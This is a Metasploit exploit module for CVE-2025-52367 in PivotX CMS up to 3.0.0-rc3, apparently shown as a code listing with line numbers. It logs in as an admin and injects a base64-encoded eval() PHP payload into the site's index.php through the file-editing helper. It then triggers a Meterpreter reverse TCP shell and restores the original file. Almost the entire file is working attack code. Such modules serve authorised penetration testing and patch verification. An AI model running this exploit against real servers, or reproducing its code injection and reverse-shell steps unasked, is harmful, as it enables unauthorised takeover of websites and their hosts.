1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
|
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PivotX Remote Code Execution',
'Description' => %q{
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'HayToN',
'msutovsky-r7'
],
'References' => [
[ 'EDB', '52361' ],
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
[ 'CVE', '2025-52367']
],
'Targets' => [
[
'Linux',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'DisclosureDate' => '2025-07-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
OptString.new('PASSWORD', [true, 'PivotX password', '']),
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
})
return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200
return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')
html_body = res.get_html_document
return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
version = Rex::Version.new(Regexp.last_match(1))
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
end
def login
data_post = Rex::MIME::Message.new
data_post.add_part('', nil, nil, %(form-data; name="returnto"))
data_post.add_part('', nil, nil, %(form-data; name="template"))
data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'login' },
'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
'data' => data_post.to_s,
'keep_cookies' => true
})
fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
@csrf_token = Regexp.last_match(1)
end
def modify_file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'homeexplore' }
})
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching working directory' unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
@base_dir = Regexp.last_match(1)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
})
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching index.php' unless res&.code == 200
@original_value = res.get_html_document.at('textarea')&.text
fail_with Failure::Unknown, 'Could not find content of index.php' unless @original_value
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})
fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end
def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php')
})
end
def restore
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
})
vprint_status('Restoring original content')
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end
def exploit
vprint_status('Logging in PivotX')
login
vprint_status('Modifying file and injecting payload')
modify_file
vprint_status('Triggering payload')
trigger_payload
restore
end
end
|